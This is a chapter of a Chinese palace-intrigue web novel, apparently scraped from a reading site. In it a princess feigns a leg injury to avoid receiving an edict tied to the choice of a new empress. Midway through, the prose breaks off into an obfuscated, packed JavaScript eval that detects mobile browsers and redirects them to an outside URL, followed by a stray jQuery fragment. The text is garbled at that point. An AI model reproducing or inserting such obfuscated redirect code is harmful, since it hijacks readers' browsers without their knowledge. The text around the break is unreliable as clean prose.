默认冷灰
24号文字
方正启体

1. 第 1 章

作者:杨尘微本书字数:K更新时间:
    “殿下哪去了?你们几个都是吃干饭的么?”


    传旨太监甩动佛尘,白须从左臂弯飘到右臂弯,耳光似地扫过低着脑袋战战兢兢的侍从脸颊,吓得十来岁的小婢女牙关直打颤。


    “公公,她一介洒扫宫女,哪里知晓这些呢?”


    一旁跨着横刀的蓝衣女卫出声了,嗓音亮堂,太监本欲发作,转头见着人只是笑了笑,眼底的阴翳一下就散了。


    “安大人,您有所不知啊,陛下这两日头风犯了,御前当值的毛手毛脚,奴才心里急啊。”老太监叹气,最后几个字拉得极长,摆出十分无奈的架势,“眼下日头都要落下了,奴才再不回宫就要落钥了。”


    “哨鹿本就不是易事,殿下定往深林里头钻了,文娘已加派人手去寻了,还望公公稍安勿躁。”


    被唤作安大人的女子说话不急不徐,空着的手摆出请老太监落座的架势,四两拨千斤地挑走了话茬。


    老太监从袖中摸出帕子拭了拭额角,接过婢女递来的茶盏放在手心,借着拨着浮沫的工夫垂眼,不露声色地打量周遭,视线扫向安大人时,老太监觉察到她正盯着自己,飞快收了眼睛。


    他想到了些关于崇庆殿下的旧事,不由得叹息。


    崇庆殿下爱玩的名号宫里宫外都是知晓的。都说京都子弟多纨绔,崇庆殿下比纨绔还要纨绔,平日里就爱穿一身天水碧窄袖圆领袍,头戴唐巾,打着马招摇过市,没有半分公主模样。


    贵女宗亲们都爱插花投壶,崇庆殿下反其道而行,专爱哨鹿击鞠,特地养了一帮女子在府里陪自己玩儿这些,凡是马背上的功夫,她说自个第二,怕是没人敢说第一了。


    当朝公主这般离经叛道,言官也上过不少疏,皇帝将折子一丢,充耳不闻,宫妃劝上两句就被一句“吾儿自幼丧母,是朕独女,随她去吧”堵了回去。自此崇庆殿下更是肆无忌惮了,干脆借着为母守孝的由头从宫里搬进了道观,不问世事了。


    老太监啜了口茶,心道,除了玩,崇庆殿下怕是没别的事能上心了看,竟连陛下传旨都能玩儿忘了。


    一盏茶的工夫,日头落得更低了,昏黄的光照得远处的山峦黑黢黢的,老太监起身,急得来回踱步。


    “安大人,今日奴才若是传不了旨就回宫,怕是遭殃的不止——”


    正说着话,安大人忽然侧过了身,弯下了立得笔挺的腰。老太监回神,听到了院门为人推开的声响,打眼望去,一排人扛着他叫不出名儿的东西鱼贯而入,叮呤哐啷地丢到地上,激得随他而来的小太监缩了一下又一下。


    “瞧瞧,文娘这不就回来么。”安大人道。


    老太监察言观色,忙带着徒弟迎去院外。


    他们等了好一会都不见人来,直到另一位身着蓝袍的女卫皱着眉头走近了,老太监知道这是安大人口中的文娘,这才抬起头来。


    “公公,殿下今日猎鹿伤了腿脚,仪驾还落在后头,您且再等等。”文娘说,“郎中还在路上,殿下说自个伤得重,怕是不怎么好接旨了,要等包扎好了才能出来。”


    老太监抬头,大惊失色:“殿下她伤得重?”


    “重。”文娘颔首,“要将息好些日子了。”


    听了这话,老太监抱着拂尘,仿若佛晴天霹雳。


    踟蹰了好一会,老太监道:“奴才这就回宫禀报陛下,告知太医院正。”


    语毕,他便使眼色叫身旁的太监快马加鞭赶回宫里,自己却杵在原地,动也不动了。


    意识到这老太监还是不肯走,文娘眉心蹙得更紧了,她悄悄示意先前同老太监打太极的安大人绕过内厅到后院去。


    后院才是崇庆殿下外出后常归的院落,安娘一接眼神便明白了用意。


    一行人进了后院,像往常那般依次排开,静待殿下归来。


    安娘用手掌在眼前搭了个凉棚眺望连片的山林,终于瞧见了属于殿下与亲卫的身影。


    嗵嗵声由远及近,压实的黄泥土道扬起阵阵烟尘。


    暮色四合,马蹄在烟尘中随衣袂飞扬,黄昏笼罩下的黑色剪影迅速逼近,逐渐显出高挑的身形。


    一众侍从整理衣袍,在来者下马前俯身行礼,脑袋垂得整整齐齐。


    马蹄声渐熄,俯身行礼的安娘于闷重中听得一阵清脆细碎的声响,微微抬眸只能瞧见蹬在银色马镫上未染纤尘的皂靴,稍稍移目才能瞧见系在白鬃边叮铃作响的鎏金得胜铃。


    “殿下。”众侍从轻呼。


    崇庆殿下翻身下马,将斜塞在蹀躞带中的袍摆放下,握着马鞭的手拍了拍,不紧不慢地向安娘身前踱去,侍从们则垂着脑袋退开了一条路。


    那双纤尘不染的皂靴抵近了,天水碧袍摆映入了安娘的眼帘,崇庆殿下清泠泠的话音飘了下来:


    “还没走?”


    安娘答:“只叫小太监回宫传话了,人还在前院等您回。”


    “我看他是存心来找本宫不痛快。”梁殊说。


    她压着弓囊,微抬掌心,示意众人免礼,又挥了挥手,示意侍从跟上来,将两匹马间吊着的网兜放下。


    一只前爪包着白布白毛黑斑的小山君摇头晃脑地站了起来。


    “殿下,这哪儿来的白毛虎,怪漂亮的!”安娘没见过这样式的山君,新奇得很。


    “这小虎崽伤了,乖得很。”说着梁殊躬身摊开掌心,小山君顺势蹭了上来,温顺得跟只猫儿一样。


    安娘也想摸摸,但这小虎长得壮实,大小赛猎犬了,安娘生怕它扑上前来咬住她的小腿肚,只得远观了眼。


    “这虎不咬人?”安娘小声询问。


    “你咬它,它都不舍得咬你。”梁殊微微一笑,眼底流露出些许不悦。


    比起小山君,还是殿下更像是笑面虎。


    安娘摸了下鼻子,老老实实瑟缩一旁,看着梁殊用匕首挑着鹿肉喂老虎,小声道:“我也舍不得咬它,这般乖,多惹人怜啊。”


    梁殊唇角微扬,神采奕奕地瞥了安娘一眼,不再压着笑了。


    待小山君吃完肉,她便快步入了正堂。


    “你拖了这厮多久?”梁殊发问。


    安娘见她敛着眼眸,神色恹恹的,便知道殿下要办正事了,回话恭敬了不少。


    “回殿下话,两个时辰带三刻钟了。”安娘将帕子泡了温水,拧干了奉给梁殊。


    梁殊接过巾帕擦拭掌心,若有所思。


    “可是陛下有要旨相传?”安娘问。


    “他能有什么要旨。”梁殊道,“左不过是当不了和事佬,要女儿接茬了。”


    “您是说,陛下要您……”安娘欲言又止。


    宫里要迎新后的消息传遍了京城,便是陪梁殊久居道观的侍从都有所耳闻。


    梁殊的消息更为灵通,不然也不会装伤不出。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301722|198661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皇帝过去只封了她的生母窦氏为皇后。


    窦皇后薨逝,后位空悬已三年有余,皇帝膝下又只有她这唯一的女儿,虽有养子睿郡王,但关系并不和睦,因而皇帝也未曾下册封太子的诏书。


    家中有女儿的朝臣无不巴巴盯着后位,请奏封后的奏章如同雪花飘进了禁宫,各个都想着家中女儿能诞个鳞儿恪承大统,带着家族鸡犬升天。


    梁殊这爹的秉性,她清楚得很,能够坐稳宝座全靠睁一只眼闭一只眼——只要事不闹大,不影响他屁股下的皇位,就是卖官鬻爵、广结党羽都算是小事。


    如今皇帝年过半百,若立新后,稍有不慎也会助长外戚气焰,灭宗室威风,消解皇权。但奏章多了,皇帝扛不住文臣的唾沫星子,要立新后,也算是梁殊意料之中。


    她叹息,新换了张帕子擦拭了把面颊,凝望着水波中的影子,补全了安娘没说完的话:“横竖都跟新后有关——”


    “要么是要我给自个挑小娘。”梁殊丢了帕子,砸出一圈水花,扶腰活动了下筋骨,懒洋洋道,“要么是要我赞礼监礼,蹲在后宫迎小娘。”


    “这怕不是好事。”安娘说。


    梁殊整理了下衣袍,低低道:“睿王那儿怎么说。”


    “说是久病不愈,难以起身。”安娘答得极快。


    “他这病来得倒是巧。”梁殊回眸,并不遮掩厌恶的神情,“正巧不要接这差事了。”


    安娘接着道:“听说不少宗亲都不愿接这差事,想来是陛下实在寻不着人,找上您了。”


    “旁人不接的,我为何要接。”梁殊道。


    “可张太监就盯您了。”安娘摸了下脑袋,露出点苦相,“就是说您伤了也不肯走。”


    “日头沉了,这山里的熊可不是开玩笑的,会开膛破肚吃人的。”梁殊立起一指,仿起熊用指甲划猎物的动作,“你们多提点他么。”


    “文娘在与他周旋,该说的都说了。”安娘微垂眼帘,轻声回话,“想来他定要亲自见着您才肯走,或许这是陛下的意思?”


    梁殊思忖了片刻道:“知道接旨的是哪家女儿么?”


    “回殿下话,说是有了人选,分别是礼部侍郎家的女儿和周典仪家的女儿,还有个……”


    最后一个人选好似特别难说出口,安娘磨叽了好一会都没出声,梁殊斜眸瞥了眼,安娘才低低道:


    “好像是孟宰辅家的长女。”


    “孟昭颜?”梁殊语调微扬,表达着诧异。


    “是。”安娘答。


    梁殊忽然就笑了,语调里反而没什么波澜:“他莫不是疯了要册立孟家的女儿为继后。”


    “孟小姐呼声最高了。”安娘小心翼翼道。


    “荒谬。”梁殊寻着圈椅坐下,叩响桌案。


    这帮文臣想当权倾朝野的外戚,真真是把宗室当作摆设了。此事若是成了,日后皇帝在他们眼中都不如摆件了。


    安娘随着声响瑟缩脖颈,顺着她的话骂道:“可不是,要真孟姑娘当了继后,您这小娘可是比您还要小了,这成何体统啊……”


    厅内静默了好一会,安娘的脑袋越垂越低了。


    “拿扎布来。”梁殊忽然看向安娘。


    “啊?”安娘眨了下眼睛。


    梁殊连叩书案,发出连串“笃笃”的声响,疾声道:


    “告诉张太监,本宫腿折了,走不了半步。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)